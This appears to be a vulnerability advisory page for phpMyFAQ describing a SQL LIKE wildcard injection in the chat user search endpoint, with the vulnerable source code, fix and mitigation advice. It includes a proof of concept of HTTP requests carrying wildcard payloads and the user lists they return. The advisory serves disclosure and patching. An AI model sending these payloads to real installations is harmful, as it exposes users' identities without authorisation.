GHSA-6pvm-2vjj-rx4w is a medium-severity (CVSS 5.4) Improper Input Validation vulnerability in thorsten/phpmyfaq. A fix is available for thorsten/phpmyfaq — see the affected versions and patch details below.
phpMyFAQ: SQL LIKE Wildcard Injection in Chat User Search Allows Authenticated User Enumeration
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-6pvm-2vjj-rx4w.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-6pvm-2vjj-rx4w by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 379,842 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
thorsten/phpmyfaqReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An authenticated SQL LIKE wildcard injection vulnerability in phpMyFAQ’s chat user search allows any logged-in user to bypass the intended display-name search filter and enumerate active users. The endpoint escapes SQL string syntax but does not escape % and _, which remain active LIKE wildcards.
Details
The vulnerable endpoint is:
GET /api/chat/users?q=...
Source:
// phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/ChatController.php
$query = trim($request->query->get('q', ''));
if (mb_strlen($query) < 2) {
return $this->json([
'success' => true,
'users' => [],
], Response::HTTP_OK);
}
$chat = new Chat($this->configuration);
$users = $chat->searchUsers($query, $this->currentUser->getUserId());
Sink:
// phpmyfaq/src/phpMyFAQ/Chat.php
$escapedTerm = $this->configuration->getDb()->escape(mb_strtolower($searchTerm));
$query = sprintf(
"SELECT u.user_id, ud.display_name
FROM %sfaquser u
LEFT JOIN %sfaquserdata ud ON u.user_id = ud.user_id
WHERE u.user_id != %d
AND u.user_id > 0
AND LOWER(ud.display_name) LIKE '%%%s%%'
AND u.account_status = 'active'
LIMIT %d",
Database::getTablePrefix(),
Database::getTablePrefix(),
$excludeUserId,
$escapedTerm,
$limit,
);
escape() prevents SQL string breakout, but it does not escape SQL LIKE metacharacters. Therefore, attacker-controlled % and _ are interpreted by the database as wildcards.
The project already uses a safer pattern elsewhere with ESCAPE '|' and wildcard escaping, but this chat search path does not apply it.
PoC:
Tested against:
phpMyFAQ 4.2.0-alpha commit c0b7158df4bfb11d57b1ef7d471760583c9c2fae
Prerequisite: attacker has any valid authenticated user account.
- Ensure there are multiple active users in the database, for example:
userId=2 displayName="Alice Finance"
userId=3 displayName="Bob Support"
userId=4 displayName="Carol Engineering"
- Send a normal query that should not match any user:
GET /api/chat/users?q=zz HTTP/1.1
Host: target
Cookie: [authenticated session]
Observed response:
{
"success": true,
"users": []
}
- Send a wildcard query:
GET /api/chat/users?q=%25%25 HTTP/1.1
Host: target
Cookie: [authenticated session]
Observed response:
{
"success": true,
"users": [
{
"userId": 2,
"displayName": "Alice Finance"
},
{
"userId": 3,
"displayName": "Bob Support"
},
{
"userId": 4,
"displayName": "Carol Engineering"
}
]
}
The same issue is reproducible with _ wildcards:
GET /api/chat/users?q=__ HTTP/1.1
Host: target
Cookie: [authenticated session]
Local confirmation was also performed by calling the vulnerable phpMyFAQ\Chat::searchUsers() method directly with seeded users. q=zz returned no users, while q=%% and q=__ returned active users.
Impact
This is a SQL LIKE wildcard injection / search filter bypass vulnerability. Any authenticated user can enumerate active user IDs and display names through the chat user search endpoint. This may disclose internal user identities, staff names, department names, or other sensitive account information depending on deployment.
Video PoC:
https://github.com/user-attachments/assets/b684893f-ccb1-42af-9568-50900793076f
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | thorsten/phpmyfaq | all versions | 4.2.0-alphacomposer require thorsten/phpmyfaq:^4.2.0-alpha |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for thorsten/phpmyfaq, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update thorsten/phpmyfaq to 4.2.0-alpha or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6pvm-2vjj-rx4w is resolved across your whole dependency graph.
Workarounds
Until you can upgrade, make sure every query built from user input uses parameterised statements or a prepared-statement API rather than string concatenation, and reduce the database account's privileges so an injected query cannot read or alter data beyond what the feature needs.
Frequently Asked Questions
Is GHSA-6pvm-2vjj-rx4w in your dependencies?
Find it across Packagist, including transitive dependencies.